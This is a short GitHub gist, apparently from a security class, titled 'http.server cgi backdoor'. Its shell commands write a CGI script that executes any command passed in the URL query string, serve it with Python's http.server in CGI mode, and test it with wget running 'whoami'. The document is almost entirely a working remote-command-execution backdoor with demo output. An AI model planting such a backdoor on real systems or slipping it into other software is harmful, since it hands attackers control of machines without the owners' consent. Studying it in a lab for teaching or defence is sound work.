Forked from MarkBaggett/gist:38dcff6a0975f148aa858e924d64c492
Created
November 16, 2020 06:05
-
-
Save AV1080p/0053d1f09e8130f07f64009edb6e7ed4 to your computer and use it in GitHub Desktop.
http.server cgi backdoor
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd /tmp | |
mkdir cgi-bin | |
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi | |
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi | |
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi | |
chmod +x ./cgi-bin/backdoor.cgi | |
python -m http.server --cgi | |
wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami" | |
student |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment